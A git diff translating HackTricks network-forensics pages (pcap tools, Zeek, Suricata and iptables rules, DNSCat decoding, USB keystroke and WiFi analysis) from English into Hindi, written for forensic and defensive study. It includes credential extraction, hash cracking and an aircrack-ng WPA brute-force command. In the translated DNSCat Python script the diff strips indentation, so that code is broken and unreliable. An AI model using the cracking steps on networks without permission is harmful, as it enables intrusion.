"deb http://repo.xplico.org/ $(lsb_release -s -c) main" /etc/apt/sources.list' sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 791C25CE sudo apt-get update sudo apt-get install xplico ``` - -**Run** - +**चलाएँ** ``` /etc/init.d/apache2 restart /etc/init.d/xplico start ``` +_**127.0.0.1:9876**_ पर _**xplico:xplico**_ क्रेडेंशियल्स के साथ पहुँचें। -Access to _**127.0.0.1:9876**_ with credentials _**xplico:xplico**_ - -Then create a **new case**, create a **new session** inside the case and **upload the pcap** file. +फिर एक **नया केस** बनाएं, केस के अंदर एक **नया सत्र** बनाएं और **pcap** फ़ाइल **अपलोड** करें। ### NetworkMiner -Like Xplico it is a tool to **analyze and extract objects from pcaps**. It has a free edition that you can **download** [**here**](https://www.netresec.com/?page=NetworkMiner). It works with **Windows**.\ -This tool is also useful to get **other information analysed** from the packets in order to be able to know what was happening in a **quicker** way. +Xplico की तरह, यह एक उपकरण है जो **pcaps से वस्तुओं का विश्लेषण और निकालने** के लिए है। इसका एक मुफ्त संस्करण है जिसे आप **यहां** [**डाउनलोड**](https://www.netresec.com/?page=NetworkMiner) कर सकते हैं। यह **Windows** पर काम करता है।\ +यह उपकरण पैकेट्स से **अन्य जानकारी का विश्लेषण** करने के लिए भी उपयोगी है ताकि आप जान सकें कि **तेजी से** क्या हो रहा था। ### NetWitness Investigator -You can download [**NetWitness Investigator from here**](https://www.rsa.com/en-us/contact-us/netwitness-investigator-freeware) **(It works in Windows)**.\ -This is another useful tool that **analyses the packets** and sorts the information in a useful way to **know what is happening inside**. +आप [**NetWitness Investigator यहाँ से डाउनलोड**](https://www.rsa.com/en-us/contact-us/netwitness-investigator-freeware) कर सकते हैं **(यह Windows पर काम करता है)**।\ +यह एक और उपयोगी उपकरण है जो **पैकेट्स का विश्लेषण** करता है और जानकारी को एक उपयोगी तरीके से क्रमबद्ध करता है ताकि आप **जान सकें कि अंदर क्या हो रहा है**। ### [BruteShark](https://github.com/odedshimon/BruteShark) -- Extracting and encoding usernames and passwords (HTTP, FTP, Telnet, IMAP, SMTP...) -- Extract authentication hashes and crack them using Hashcat (Kerberos, NTLM, CRAM-MD5, HTTP-Digest...) -- Build a visual network diagram (Network nodes & users) -- Extract DNS queries -- Reconstruct all TCP & UDP Sessions -- File Carving +- उपयोगकर्ता नाम और पासवर्ड निकालना और एन्कोड करना (HTTP, FTP, Telnet, IMAP, SMTP...) +- प्रमाणीकरण हैश निकालें और Hashcat का उपयोग करके उन्हें क्रैक करें (Kerberos, NTLM, CRAM-MD5, HTTP-Digest...) +- एक दृश्य नेटवर्क आरेख बनाएं (नेटवर्क नोड्स और उपयोगकर्ता) +- DNS क्वेरी निकालें +- सभी TCP और UDP सत्रों का पुनर्निर्माण करें +- फ़ाइल कार्विंग ### Capinfos - ``` capinfos capture.pcap ``` - ### Ngrep -If you are **looking** for **something** inside the pcap you can use **ngrep**. Here is an example using the main filters: - +यदि आप pcap के अंदर **कुछ** **खोज** रहे हैं तो आप **ngrep** का उपयोग कर सकते हैं। यहाँ मुख्य फ़िल्टर का उपयोग करते हुए एक उदाहरण है: ```bash ngrep -I packets.pcap "^GET" "port 80 and tcp and host 192.168 and dst host 192.168 and src host 192.168" ``` - ### Carving -Using common carving techniques can be useful to extract files and information from the pcap: +सामान्य carving तकनीकों का उपयोग pcap से फ़ाइलों और जानकारी निकालने के लिए उपयोगी हो सकता है: {{#ref}} ../partitions-file-systems-carving/file-data-carving-recovery-tools.md @@ -104,46 +90,36 @@ Using common carving techniques can be useful to extract files and information f ### Capturing credentials -You can use tools like [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) to parse credentials from a pcap or a live interface. - -
- -[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} +आप pcap या एक लाइव इंटरफ़ेस से क्रेडेंशियल्स को पार्स करने के लिए [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) जैसे उपकरणों का उपयोग कर सकते हैं। ## Check Exploits/Malware ### Suricata **Install and setup** - ``` apt-get install suricata apt-get install oinkmaster echo "url = http://rules.emergingthreats.net/open/suricata/emerging.rules.tar.gz" >> /etc/oinkmaster.conf oinkmaster -C /etc/oinkmaster.conf -o /etc/suricata/rules ``` - -**Check pcap** - +**pcap की जांच करें** ``` suricata -r packets.pcap -c /etc/suricata/suricata.yaml -k none -v -l log ``` - ### YaraPcap -[**YaraPCAP**](https://github.com/kevthehermit/YaraPcap) is a tool that +[**YaraPCAP**](https://github.com/kevthehermit/YaraPcap) एक उपकरण है जो -- Reads a PCAP File and Extracts Http Streams. -- gzip deflates any compressed streams -- Scans every file with yara -- Writes a report.txt -- Optionally saves matching files to a Dir +- एक PCAP फ़ाइल पढ़ता है और Http स्ट्रीम निकालता है। +- gzip किसी भी संकुचित स्ट्रीम को डिफ्लेट करता है +- हर फ़ाइल को yara के साथ स्कैन करता है +- एक report.txt लिखता है +- वैकल्पिक रूप से मेल खाने वाली फ़ाइलों को एक Dir में सहेजता है ### Malware Analysis -Check if you can find any fingerprint of a known malware: +जांचें कि क्या आप किसी ज्ञात मैलवेयर का कोई फिंगरप्रिंट ढूंढ सकते हैं: {{#ref}} ../malware-analysis.md @@ -151,12 +127,11 @@ Check if you can find any fingerprint of a known malware: ## Zeek -> [Zeek](https://docs.zeek.org/en/master/about.html) is a passive, open-source network traffic analyzer. Many operators use Zeek as a Network Security Monitor (NSM) to support investigations of suspicious or malicious activity. Zeek also supports a wide range of traffic analysis tasks beyond the security domain, including performance measurement and troubleshooting. +> [Zeek](https://docs.zeek.org/en/master/about.html) एक पैसिव, ओपन-सोर्स नेटवर्क ट्रैफ़िक विश्लेषक है। कई ऑपरेटर संदिग्ध या दुर्भावनापूर्ण गतिविधियों की जांच का समर्थन करने के लिए Zeek का उपयोग नेटवर्क सुरक्षा मॉनिटर (NSM) के रूप में करते हैं। Zeek सुरक्षा डोमेन के अलावा प्रदर्शन माप और समस्या निवारण सहित ट्रैफ़िक विश्लेषण कार्यों की एक विस्तृत श्रृंखला का समर्थन करता है। -Basically, logs created by `zeek` aren't **pcaps**. Therefore you will need to use **other tools** to analyse the logs where the **information** about the pcaps are. +बुनियादी रूप से, `zeek` द्वारा बनाए गए लॉग **pcaps** नहीं होते हैं। इसलिए आपको उन लॉग का विश्लेषण करने के लिए **अन्य उपकरणों** का उपयोग करने की आवश्यकता होगी जहाँ **pcaps** के बारे में **जानकारी** होती है। ### Connections Info - ```bash #Get info about longest connections (add "grep udp" to see only udp traffic) #The longest connection might be of malware (constant reverse shell?) @@ -206,9 +181,7 @@ Score,Source IP,Destination IP,Connections,Avg Bytes,Intvl Range,Size Range,Top 1,10.55.100.111,165.227.216.194,20054,92,29,52,1,52,7774,20053,0,0,0,0 0.838,10.55.200.10,205.251.194.64,210,69,29398,4,300,70,109,205,0,0,0,0 ``` - -### DNS info - +### DNS जानकारी ```bash #Get info about each DNS request performed cat dns.log | zeek-cut -c id.orig_h query qtype_name answers @@ -225,8 +198,7 @@ cat dns.log | zeek-cut qtype_name | sort | uniq -c | sort -nr #See top DNS domain requested with rita rita show-exploded-dns -H --limit 10 zeek_logs ``` - -## Other pcap analysis tricks +## अन्य pcap विश्लेषण तकनीकें {{#ref}} dnscat-exfiltration.md @@ -242,10 +214,4 @@ usb-keystrokes.md ​ -
- -[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/dnscat-exfiltration.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/dnscat-exfiltration.md index aba634f34..c2f2fc4c8 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/dnscat-exfiltration.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/dnscat-exfiltration.md @@ -1,11 +1,10 @@ -# DNSCat pcap analysis +# DNSCat pcap विश्लेषण {{#include ../../../banners/hacktricks-training.md}} -If you have pcap with data being **exfiltrated by DNSCat** (without using encryption), you can find the exfiltrated content. - -You only need to know that the **first 9 bytes** are not real data but are related to the **C\&C communication**: +यदि आपके पास **DNSCat द्वारा डेटा का exfiltrated** (बिना एन्क्रिप्शन का उपयोग किए) के साथ pcap है, तो आप exfiltrated सामग्री को ढूंढ सकते हैं। +आपको केवल यह जानने की आवश्यकता है कि **पहले 9 बाइट्स** वास्तविक डेटा नहीं हैं बल्कि **C\&C संचार** से संबंधित हैं: ```python from scapy.all import rdpcap, DNSQR, DNSRR import struct @@ -13,25 +12,22 @@ import struct f = "" last = "" for p in rdpcap('ch21.pcap'): - if p.haslayer(DNSQR) and not p.haslayer(DNSRR): +if p.haslayer(DNSQR) and not p.haslayer(DNSRR): - qry = p[DNSQR].qname.replace(".jz-n-bs.local.","").strip().split(".") - qry = ''.join(_.decode('hex') for _ in qry)[9:] - if last != qry: - print(qry) - f += qry - last = qry +qry = p[DNSQR].qname.replace(".jz-n-bs.local.","").strip().split(".") +qry = ''.join(_.decode('hex') for _ in qry)[9:] +if last != qry: +print(qry) +f += qry +last = qry #print(f) ``` - -For more information: [https://github.com/jrmdev/ctf-writeups/tree/master/bsidessf-2017/dnscap](https://github.com/jrmdev/ctf-writeups/tree/master/bsidessf-2017/dnscap)\ +अधिक जानकारी के लिए: [https://github.com/jrmdev/ctf-writeups/tree/master/bsidessf-2017/dnscap](https://github.com/jrmdev/ctf-writeups/tree/master/bsidessf-2017/dnscap)\ [https://github.com/iagox86/dnscat2/blob/master/doc/protocol.md](https://github.com/iagox86/dnscat2/blob/master/doc/protocol.md) -There is a script that works with Python3: [https://github.com/josemlwdf/DNScat-Decoder](https://github.com/josemlwdf/DNScat-Decoder) - +एक स्क्रिप्ट है जो Python3 के साथ काम करती है: [https://github.com/josemlwdf/DNScat-Decoder](https://github.com/josemlwdf/DNScat-Decoder) ``` python3 dnscat_decoder.py sample.pcap bad_domain ``` - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/suricata-and-iptables-cheatsheet.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/suricata-and-iptables-cheatsheet.md index 4be42c696..607c1401e 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/suricata-and-iptables-cheatsheet.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/suricata-and-iptables-cheatsheet.md @@ -6,14 +6,13 @@ ### Chains -In iptables, lists of rules known as chains are processed sequentially. Among these, three primary chains are universally present, with additional ones like NAT being potentially supported depending on the system's capabilities. +iptables में, नियमों की सूचियाँ जिन्हें चेन कहा जाता है, अनुक्रमिक रूप से संसाधित की जाती हैं। इनमें से, तीन प्राथमिक चेन सार्वभौमिक रूप से उपस्थित होते हैं, जबकि NAT जैसी अतिरिक्त चेन सिस्टम की क्षमताओं के आधार पर संभावित रूप से समर्थित हो सकती हैं। -- **Input Chain**: Utilized for managing the behavior of incoming connections. -- **Forward Chain**: Employed for handling incoming connections that are not destined for the local system. This is typical for devices acting as routers, where the data received is meant to be forwarded to another destination. This chain is relevant primarily when the system is involved in routing, NATing, or similar activities. -- **Output Chain**: Dedicated to the regulation of outgoing connections. - -These chains ensure the orderly processing of network traffic, allowing for the specification of detailed rules governing the flow of data into, through, and out of a system. +- **Input Chain**: आने वाले कनेक्शनों के व्यवहार को प्रबंधित करने के लिए उपयोग किया जाता है। +- **Forward Chain**: उन आने वाले कनेक्शनों को संभालने के लिए उपयोग किया जाता है जो स्थानीय सिस्टम के लिए नहीं हैं। यह उन उपकरणों के लिए सामान्य है जो राउटर के रूप में कार्य करते हैं, जहाँ प्राप्त डेटा को किसी अन्य गंतव्य पर अग्रेषित किया जाना होता है। यह चेन मुख्य रूप से तब प्रासंगिक होती है जब सिस्टम राउटिंग, NATing, या समान गतिविधियों में शामिल होता है। +- **Output Chain**: बाहर जाने वाले कनेक्शनों के विनियमन के लिए समर्पित है। +ये चेन नेटवर्क ट्रैफ़िक के व्यवस्थित प्रसंस्करण को सुनिश्चित करती हैं, जिससे डेटा के प्रवाह को सिस्टम में, उसके माध्यम से, और बाहर निर्दिष्ट करने के लिए विस्तृत नियमों को निर्धारित किया जा सके। ```bash # Delete all rules iptables -F @@ -50,11 +49,9 @@ iptables-save > /etc/sysconfig/iptables ip6tables-save > /etc/sysconfig/ip6tables iptables-restore < /etc/sysconfig/iptables ``` - ## Suricata -### Install & Config - +### इंस्टॉल और कॉन्फ़िगर ```bash # Install details from: https://suricata.readthedocs.io/en/suricata-6.0.0/install.html#install-binary-packages # Ubuntu @@ -64,7 +61,7 @@ apt-get install suricata # Debian echo "deb http://http.debian.net/debian buster-backports main" > \ - /etc/apt/sources.list.d/backports.list +/etc/apt/sources.list.d/backports.list apt-get update apt-get install suricata -t buster-backports @@ -80,7 +77,7 @@ suricata-update ## To use the dowloaded rules update the following line in /etc/suricata/suricata.yaml default-rule-path: /var/lib/suricata/rules rule-files: - - suricata.rules +- suricata.rules # Run ## Add rules in /etc/suricata/rules/suricata.rules @@ -92,7 +89,7 @@ suricata -c /etc/suricata/suricata.yaml -i eth0 suricatasc -c ruleset-reload-nonblocking ## or set the follogin in /etc/suricata/suricata.yaml detect-engine: - - rule-reload: true +- rule-reload: true # Validate suricata config suricata -T -c /etc/suricata/suricata.yaml -v @@ -101,8 +98,8 @@ suricata -T -c /etc/suricata/suricata.yaml -v ## Config drop to generate alerts ## Search for the following lines in /etc/suricata/suricata.yaml and remove comments: - drop: - alerts: yes - flows: all +alerts: yes +flows: all ## Forward all packages to the queue where suricata can act as IPS iptables -I INPUT -j NFQUEUE @@ -120,76 +117,70 @@ Type=simple systemctl daemon-reload ``` +### नियम परिभाषाएँ -### Rules Definitions - -[From the docs:](https://github.com/OISF/suricata/blob/master/doc/userguide/rules/intro.rst) A rule/signature consists of the following: - -- The **action**, determines what happens when the signature matches. -- The **header**, defines the protocol, IP addresses, ports and direction of the rule. -- The **rule options**, define the specifics of the rule. +[From the docs:](https://github.com/OISF/suricata/blob/master/doc/userguide/rules/intro.rst) एक नियम/सिग्नेचर निम्नलिखित से मिलकर बनता है: +- **क्रिया**, यह निर्धारित करती है कि सिग्नेचर मेल खाने पर क्या होता है। +- **हेडर**, यह नियम के प्रोटोकॉल, IP पते, पोर्ट और दिशा को परिभाषित करता है। +- **नियम विकल्प**, यह नियम की विशिष्टताओं को परिभाषित करते हैं। ```bash alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"HTTP GET Request Containing Rule in URI"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"rule"; fast_pattern; classtype:bad-unknown; sid:123; rev:1;) ``` +#### **मान्य क्रियाएँ हैं** -#### **Valid actions are** +- alert - एक अलर्ट उत्पन्न करें +- pass - पैकेट की आगे की जांच रोकें +- **drop** - पैकेट को गिराएँ और अलर्ट उत्पन्न करें +- **reject** - मेल खाने वाले पैकेट के प्रेषक को RST/ICMP अप्राप्य त्रुटि भेजें। +- rejectsrc - बस _reject_ के समान +- rejectdst - मेल खाने वाले पैकेट के रिसीवर को RST/ICMP त्रुटि पैकेट भेजें। +- rejectboth - बातचीत के दोनों पक्षों को RST/ICMP त्रुटि पैकेट भेजें। -- alert - generate an alert -- pass - stop further inspection of the packet -- **drop** - drop packet and generate alert -- **reject** - send RST/ICMP unreachable error to the sender of the matching packet. -- rejectsrc - same as just _reject_ -- rejectdst - send RST/ICMP error packet to the receiver of the matching packet. -- rejectboth - send RST/ICMP error packets to both sides of the conversation. +#### **प्रोटोकॉल** -#### **Protocols** - -- tcp (for tcp-traffic) +- tcp (tcp-traffic के लिए) - udp - icmp -- ip (ip stands for ‘all’ or ‘any’) -- _layer7 protocols_: http, ftp, tls, smb, dns, ssh... (more in the [**docs**](https://suricata.readthedocs.io/en/suricata-6.0.0/rules/intro.html)) +- ip (ip का अर्थ है 'सभी' या 'कोई भी') +- _लेयर7 प्रोटोकॉल_: http, ftp, tls, smb, dns, ssh... (अधिक जानकारी के लिए [**docs**](https://suricata.readthedocs.io/en/suricata-6.0.0/rules/intro.html)) -#### Source and Destination Addresses +#### स्रोत और गंतव्य पते -It supports IP ranges, negations and a list of addresses: +यह IP रेंज, नकारात्मकता और पतों की सूची का समर्थन करता है: -| Example | Meaning | -| ----------------------------- | ---------------------------------------- | -| ! 1.1.1.1 | Every IP address but 1.1.1.1 | -| !\[1.1.1.1, 1.1.1.2] | Every IP address but 1.1.1.1 and 1.1.1.2 | -| $HOME_NET | Your setting of HOME_NET in yaml | -| \[$EXTERNAL\_NET, !$HOME_NET] | EXTERNAL_NET and not HOME_NET | -| \[10.0.0.0/24, !10.0.0.5] | 10.0.0.0/24 except for 10.0.0.5 | +| उदाहरण | अर्थ | +| ------------------------------- | ---------------------------------------- | +| ! 1.1.1.1 | हर IP पता लेकिन 1.1.1.1 | +| !\[1.1.1.1, 1.1.1.2] | हर IP पता लेकिन 1.1.1.1 और 1.1.1.2 | +| $HOME_NET | yaml में HOME_NET का आपका सेटिंग | +| \[$EXTERNAL\_NET, !$HOME_NET] | EXTERNAL_NET और HOME_NET नहीं | +| \[10.0.0.0/24, !10.0.0.5] | 10.0.0.0/24 सिवाय 10.0.0.5 | -#### Source and Destination Ports +#### स्रोत और गंतव्य पोर्ट -It supports port ranges, negations and lists of ports +यह पोर्ट रेंज, नकारात्मकता और पोर्ट की सूचियों का समर्थन करता है -| Example | Meaning | -| --------------- | -------------------------------------- | -| any | any address | -| \[80, 81, 82] | port 80, 81 and 82 | -| \[80: 82] | Range from 80 till 82 | -| \[1024: ] | From 1024 till the highest port-number | -| !80 | Every port but 80 | -| \[80:100,!99] | Range from 80 till 100 but 99 excluded | -| \[1:80,!\[2,4]] | Range from 1-80, except ports 2 and 4 | +| उदाहरण | अर्थ | +| ----------------- | -------------------------------------- | +| any | कोई भी पता | +| \[80, 81, 82] | पोर्ट 80, 81 और 82 | +| \[80: 82] | 80 से 82 तक की रेंज | +| \[1024: ] | 1024 से सबसे उच्च पोर्ट संख्या तक | +| !80 | हर पोर्ट लेकिन 80 | +| \[80:100,!99] | 80 से 100 तक की रेंज लेकिन 99 को छोड़कर | +| \[1:80,!\[2,4]] | 1-80 की रेंज, पोर्ट 2 और 4 को छोड़कर | -#### Direction - -It's possible to indicate the direction of the communication rule being applied: +#### दिशा +यह लागू की जा रही संचार नियम की दिशा को इंगित करना संभव है: ``` source -> destination source <> destination (both directions) ``` - #### Keywords -There are **hundreds of options** available in Suricata to search for the **specific packet** you are looking for, here it will be mentioned if something interesting is found. Check the [**documentation** ](https://suricata.readthedocs.io/en/suricata-6.0.0/rules/index.html)for more! - +Suricata में **विशिष्ट पैकेट** खोजने के लिए **सैकड़ों विकल्प** उपलब्ध हैं, यहाँ उल्लेख किया जाएगा यदि कुछ दिलचस्प पाया जाता है। अधिक जानकारी के लिए [**दस्तावेज़** ](https://suricata.readthedocs.io/en/suricata-6.0.0/rules/index.html) की जाँच करें! ```bash # Meta Keywords msg: "description"; #Set a description to the rule @@ -230,5 +221,4 @@ drop tcp any any -> any any (msg:"regex"; pcre:"/CTF\{[\w]{3}/i"; sid:10001;) ## Drop by port drop tcp any any -> any 8000 (msg:"8000 port"; sid:1000;) ``` - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md index 782e405aa..40c5cd80e 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md @@ -2,18 +2,16 @@ {{#include ../../../banners/hacktricks-training.md}} -If you have a pcap containing the communication via USB of a keyboard like the following one: +यदि आपके पास एक pcap है जिसमें एक कीबोर्ड के माध्यम से USB के माध्यम से संचार शामिल है, जैसे कि निम्नलिखित: ![](<../../../images/image (962).png>) -You can use the tool [**ctf-usb-keyboard-parser**](https://github.com/TeamRocketIst/ctf-usb-keyboard-parser) to get what was written in the communication: - +आप [**ctf-usb-keyboard-parser**](https://github.com/TeamRocketIst/ctf-usb-keyboard-parser) उपकरण का उपयोग कर सकते हैं ताकि यह पता लगाया जा सके कि संचार में क्या लिखा गया था: ```bash tshark -r ./usb.pcap -Y 'usb.capdata && usb.data_len == 8' -T fields -e usb.capdata | sed 's/../:&/g2' > keystrokes.txt python3 usbkeyboard.py ./keystrokes.txt ``` - -You can read more information and find some scripts about how to analyse this in: +आप अधिक जानकारी पढ़ सकते हैं और इस पर विश्लेषण करने के लिए कुछ स्क्रिप्ट्स पा सकते हैं: - [https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4](https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4) - [https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup](https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup) diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md index f1371d5fa..30c5ab116 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md @@ -4,7 +4,7 @@ ## Check BSSIDs -When you receive a capture whose principal traffic is Wifi using WireShark you can start investigating all the SSIDs of the capture with _Wireless --> WLAN Traffic_: +जब आप एक कैप्चर प्राप्त करते हैं जिसका मुख्य ट्रैफ़िक Wifi है और आप WireShark का उपयोग कर रहे हैं, तो आप कैप्चर के सभी SSIDs की जांच करना शुरू कर सकते हैं _Wireless --> WLAN Traffic_: ![](<../../../images/image (106).png>) @@ -12,29 +12,27 @@ When you receive a capture whose principal traffic is Wifi using WireShark you c ### Brute Force -One of the columns of that screen indicates if **any authentication was found inside the pcap**. If that is the case you can try to Brute force it using `aircrack-ng`: - +उस स्क्रीन के एक कॉलम में यह संकेत दिया गया है कि **क्या pcap के अंदर कोई प्रमाणीकरण पाया गया**। यदि ऐसा है, तो आप इसे `aircrack-ng` का उपयोग करके Brute force करने की कोशिश कर सकते हैं: ```bash aircrack-ng -w pwds-file.txt -b file.pcap ``` +उदाहरण के लिए, यह WPA पासफ़्रेज़ को पुनः प्राप्त करेगा जो एक PSK (पूर्व साझा कुंजी) की सुरक्षा करता है, जो बाद में ट्रैफ़िक को डिक्रिप्ट करने के लिए आवश्यक होगा। -For example it will retrieve the WPA passphrase protecting a PSK (pre shared-key), that will be required to decrypt the trafic later. +## बीकन / साइड चैनल में डेटा -## Data in Beacons / Side Channel +यदि आपको संदेह है कि **एक Wifi नेटवर्क के बीकन के अंदर डेटा लीक हो रहा है** तो आप निम्नलिखित फ़िल्टर का उपयोग करके नेटवर्क के बीकन की जांच कर सकते हैं: `wlan contains ` या `wlan.ssid == "NAMEofNETWORK"` फ़िल्टर किए गए पैकेट्स के अंदर संदिग्ध स्ट्रिंग्स के लिए खोजें। -If you suspect that **data is being leaked inside beacons of a Wifi network** you can check the beacons of the network using a filter like the following one: `wlan contains `, or `wlan.ssid == "NAMEofNETWORK"` search inside the filtered packets for suspicious strings. +## एक Wifi नेटवर्क में अज्ञात MAC पते खोजें -## Find Unknown MAC Addresses in A Wifi Network - -The following link will be useful to find the **machines sending data inside a Wifi Network**: +निम्नलिखित लिंक **एक Wifi नेटवर्क के अंदर डेटा भेजने वाली मशीनों** को खोजने के लिए उपयोगी होगा: - `((wlan.ta == e8:de:27:16:70:c9) && !(wlan.fc == 0x8000)) && !(wlan.fc.type_subtype == 0x0005) && !(wlan.fc.type_subtype ==0x0004) && !(wlan.addr==ff:ff:ff:ff:ff:ff) && wlan.fc.type==2` -If you already know **MAC addresses you can remove them from the output** adding checks like this one: `&& !(wlan.addr==5c:51:88:31:a0:3b)` +यदि आप पहले से ही **MAC पते जानते हैं, तो आप उन्हें आउटपुट से हटा सकते हैं** इस तरह की जांच जोड़कर: `&& !(wlan.addr==5c:51:88:31:a0:3b)` -Once you have detected **unknown MAC** addresses communicating inside the network you can use **filters** like the following one: `wlan.addr== && (ftp || http || ssh || telnet)` to filter its traffic. Note that ftp/http/ssh/telnet filters are useful if you have decrypted the traffic. +एक बार जब आप नेटवर्क के अंदर संवाद कर रहे **अज्ञात MAC** पते का पता लगा लेते हैं, तो आप **फ़िल्टर** का उपयोग कर सकते हैं जैसे: `wlan.addr== && (ftp || http || ssh || telnet)` इसके ट्रैफ़िक को फ़िल्टर करने के लिए। ध्यान दें कि ftp/http/ssh/telnet फ़िल्टर उपयोगी हैं यदि आपने ट्रैफ़िक को डिक्रिप्ट किया है। -## Decrypt Traffic +## ट्रैफ़िक डिक्रिप्ट करें Edit --> Preferences --> Protocols --> IEEE 802.11--> Edit diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/wireshark-tricks.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/wireshark-tricks.md index 6565bd680..d9b13e164 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/wireshark-tricks.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/wireshark-tricks.md @@ -2,156 +2,154 @@ {{#include ../../../banners/hacktricks-training.md}} -## Improve your Wireshark skills +## अपने Wireshark कौशल में सुधार करें -### Tutorials +### ट्यूटोरियल -The following tutorials are amazing to learn some cool basic tricks: +निम्नलिखित ट्यूटोरियल कुछ शानदार बुनियादी ट्रिक्स सीखने के लिए अद्भुत हैं: - [https://unit42.paloaltonetworks.com/unit42-customizing-wireshark-changing-column-display/](https://unit42.paloaltonetworks.com/unit42-customizing-wireshark-changing-column-display/) - [https://unit42.paloaltonetworks.com/using-wireshark-display-filter-expressions/](https://unit42.paloaltonetworks.com/using-wireshark-display-filter-expressions/) - [https://unit42.paloaltonetworks.com/using-wireshark-identifying-hosts-and-users/](https://unit42.paloaltonetworks.com/using-wireshark-identifying-hosts-and-users/) - [https://unit42.paloaltonetworks.com/using-wireshark-exporting-objects-from-a-pcap/](https://unit42.paloaltonetworks.com/using-wireshark-exporting-objects-from-a-pcap/) -### Analysed Information +### विश्लेषित जानकारी -**Expert Information** +**विशेषज्ञ जानकारी** -Clicking on _**Analyze** --> **Expert Information**_ you will have an **overview** of what is happening in the packets **analyzed**: +_**Analyze** --> **Expert Information**_ पर क्लिक करने से आपको पैकेट्स में हो रही घटनाओं का **अवलोकन** मिलेगा **विश्लेषित**: ![](<../../../images/image (256).png>) -**Resolved Addresses** +**समाधान किए गए पते** -Under _**Statistics --> Resolved Addresses**_ you can find several **information** that was "**resolved**" by wireshark like port/transport to protocol, MAC to the manufacturer, etc. It is interesting to know what is implicated in the communication. +_**Statistics --> Resolved Addresses**_ के तहत आप कई **जानकारी** पा सकते हैं जो wireshark द्वारा "**समाधान**" की गई थी जैसे पोर्ट/परिवहन से प्रोटोकॉल, MAC से निर्माता, आदि। यह जानना दिलचस्प है कि संचार में क्या शामिल है। ![](<../../../images/image (893).png>) -**Protocol Hierarchy** +**प्रोटोकॉल पदानुक्रम** -Under _**Statistics --> Protocol Hierarchy**_ you can find the **protocols** **involved** in the communication and data about them. +_**Statistics --> Protocol Hierarchy**_ के तहत आप संचार में शामिल **प्रोटोकॉल** और उनके बारे में डेटा पा सकते हैं। ![](<../../../images/image (586).png>) -**Conversations** +**संवाद** -Under _**Statistics --> Conversations**_ you can find a **summary of the conversations** in the communication and data about them. +_**Statistics --> Conversations**_ के तहत आप संचार में **संवादों का सारांश** और उनके बारे में डेटा पा सकते हैं। ![](<../../../images/image (453).png>) -**Endpoints** +**अंत बिंदु** -Under _**Statistics --> Endpoints**_ you can find a **summary of the endpoints** in the communication and data about each of them. +_**Statistics --> Endpoints**_ के तहत आप संचार में **अंत बिंदुओं का सारांश** और उनके बारे में डेटा पा सकते हैं। ![](<../../../images/image (896).png>) -**DNS info** +**DNS जानकारी** -Under _**Statistics --> DNS**_ you can find statistics about the DNS request captured. +_**Statistics --> DNS**_ के तहत आप कैप्चर किए गए DNS अनुरोध के बारे में सांख्यिकी पा सकते हैं। ![](<../../../images/image (1063).png>) -**I/O Graph** +**I/O ग्राफ** -Under _**Statistics --> I/O Graph**_ you can find a **graph of the communication.** +_**Statistics --> I/O Graph**_ के तहत आप संचार का **ग्राफ** पा सकते हैं। ![](<../../../images/image (992).png>) -### Filters +### फ़िल्टर -Here you can find wireshark filter depending on the protocol: [https://www.wireshark.org/docs/dfref/](https://www.wireshark.org/docs/dfref/)\ -Other interesting filters: +यहां आप प्रोटोकॉल के आधार पर wireshark फ़िल्टर पा सकते हैं: [https://www.wireshark.org/docs/dfref/](https://www.wireshark.org/docs/dfref/)\ +अन्य दिलचस्प फ़िल्टर: - `(http.request or ssl.handshake.type == 1) and !(udp.port eq 1900)` - - HTTP and initial HTTPS traffic +- HTTP और प्रारंभिक HTTPS ट्रैफ़िक - `(http.request or ssl.handshake.type == 1 or tcp.flags eq 0x0002) and !(udp.port eq 1900)` - - HTTP and initial 